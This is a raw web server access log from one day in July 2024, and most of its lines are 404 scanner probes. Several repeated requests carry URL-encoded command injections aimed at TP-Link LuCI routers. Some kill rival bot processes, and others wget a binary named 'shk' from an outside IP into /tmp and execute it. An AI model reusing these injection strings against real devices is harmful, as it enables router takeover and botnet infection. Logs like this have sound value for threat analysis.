14.116.254.172 - - [04/Jul/2024:00:04:02 +0200] "GET / HTTP/1.1" 404 952 198.235.24.215 - - [04/Jul/2024:00:37:43 +0200] "GET / HTTP/1.0" 404 952 170.55.95.2 - - [04/Jul/2024:01:20:47 +0200] "GET / HTTP/1.1" 404 952 98.113.232.50 - - [04/Jul/2024:01:22:03 +0200] "GET / HTTP/1.1" 404 952 198.235.24.218 - - [04/Jul/2024:02:20:20 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:02:27:01 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:02:27:01 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 185.191.126.213 - - [04/Jul/2024:02:33:46 +0200] "GET / HTTP/1.1" 404 952 221.122.67.75 - - [04/Jul/2024:04:01:25 +0200] "GET / HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:02:40 +0200] "GET / HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:02:57 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:03:15 +0200] "GET / HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:03:15 +0200] "GET /zabbix/favicon.ico HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:03:31 +0200] "GET /favicon.ico HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:03:49 +0200] "GET / HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:03:49 +0200] "GET /js/NewWindow_2_all.js HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:03:49 +0200] "GET /login HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:04:07 +0200] "GET /WebInterface/ HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:04:23 +0200] "GET / HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:04:24 +0200] "GET /showLogin.cc HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:04:42 +0200] "GET / HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:04:42 +0200] "GET /favicon.ico HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:04:42 +0200] "GET /admin/ HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:04:42 +0200] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:05:02 +0200] "GET /api/session/properties HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:05:17 +0200] "GET /version HTTP/1.1" 404 952 45.156.129.125 - - [04/Jul/2024:04:05:17 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:05:23:52 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:05:23:52 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 45.156.128.47 - - [04/Jul/2024:06:35:20 +0200] "GET /owncloud/status.php HTTP/1.1" 404 952 45.156.128.47 - - [04/Jul/2024:06:35:22 +0200] "GET /status.php HTTP/1.1" 404 952 78.108.177.54 - - [04/Jul/2024:07:16:24 +0200] "GET / HTTP/1.0" 404 952 64.62.197.37 - - [04/Jul/2024:07:26:41 +0200] "GET / HTTP/1.1" 404 952 64.62.197.45 - - [04/Jul/2024:07:27:05 +0200] "GET /favicon.ico HTTP/1.1" 404 952 64.62.197.40 - - [04/Jul/2024:07:27:23 +0200] "GET /?format=json HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:08:04:25 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:08:04:25 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 77.90.7.116 - - [04/Jul/2024:08:11:39 +0200] "GET / HTTP/1.1" 404 952 77.90.7.116 - - [04/Jul/2024:08:11:39 +0200] "GET / HTTP/1.1" 404 952 159.65.94.64 - - [04/Jul/2024:08:34:44 +0200] "GET / HTTP/1.1" 404 952 159.65.94.64 - - [04/Jul/2024:08:34:44 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 23.95.200.178 - - [04/Jul/2024:10:52:15 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:10:56:10 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:10:56:10 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 51.8.223.186 - - [04/Jul/2024:12:24:38 +0200] "GET / HTTP/1.1" 404 952 77.90.7.22 - - [04/Jul/2024:12:35:11 +0200] "GET / HTTP/1.1" 404 952 77.90.7.22 - - [04/Jul/2024:12:35:11 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:13:38:42 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:13:38:42 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 177.188.92.127 - - [04/Jul/2024:14:23:33 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 134.209.72.75 - - [04/Jul/2024:15:14:23 +0200] "GET / HTTP/1.1" 404 952 134.209.72.75 - - [04/Jul/2024:15:14:23 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 122.228.86.230 - - [04/Jul/2024:15:33:54 +0200] "GET / HTTP/1.1" 404 952 200.81.185.179 - - [04/Jul/2024:16:15:58 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:16:27:49 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:16:27:49 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 172.245.131.82 - - [04/Jul/2024:17:42:06 +0200] "GET / HTTP/1.1" 404 952 77.78.29.125 - - [04/Jul/2024:17:57:49 +0200] "GET / HTTP/1.1" 404 952 83.97.73.245 - - [04/Jul/2024:18:11:00 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 83.97.73.245 - - [04/Jul/2024:18:38:13 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:18:39:48 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:18:39:48 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 103.123.64.228 - - [04/Jul/2024:19:19:41 +0200] "GET / HTTP/1.1" 404 952 47.113.106.133 - - [04/Jul/2024:19:20:27 +0200] "GET / HTTP/1.1" 404 952 185.224.128.63 - - [04/Jul/2024:19:21:27 +0200] "GET / HTTP/1.1" 404 952 185.224.128.63 - - [04/Jul/2024:19:21:27 +0200] "GET / HTTP/1.1" 404 952 104.168.70.165 - - [04/Jul/2024:19:51:23 +0200] "GET / HTTP/1.1" 404 952 10.158.0.168 - - [04/Jul/2024:20:11:57 +0200] "GET / HTTP/1.1" 404 952 78.108.177.54 - - [04/Jul/2024:20:24:10 +0200] "GET / HTTP/1.0" 404 952 167.94.146.50 - - [04/Jul/2024:20:50:26 +0200] "GET / HTTP/1.1" 404 952 167.94.146.50 - - [04/Jul/2024:20:50:29 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:20:52:55 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:20:52:55 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 204.48.21.58 - - [04/Jul/2024:21:58:40 +0200] "GET /manager/html HTTP/1.1" 401 1833 104.248.39.155 - - [04/Jul/2024:22:31:03 +0200] "GET /?v=1&ip=85.214.21.8&port=8080 HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:22:35:47 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [04/Jul/2024:22:35:47 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 204.48.21.58 - - [04/Jul/2024:22:41:03 +0200] "GET /is_test HTTP/1.1" 404 952 185.191.126.213 - - [04/Jul/2024:22:48:51 +0200] "GET / HTTP/1.1" 404 952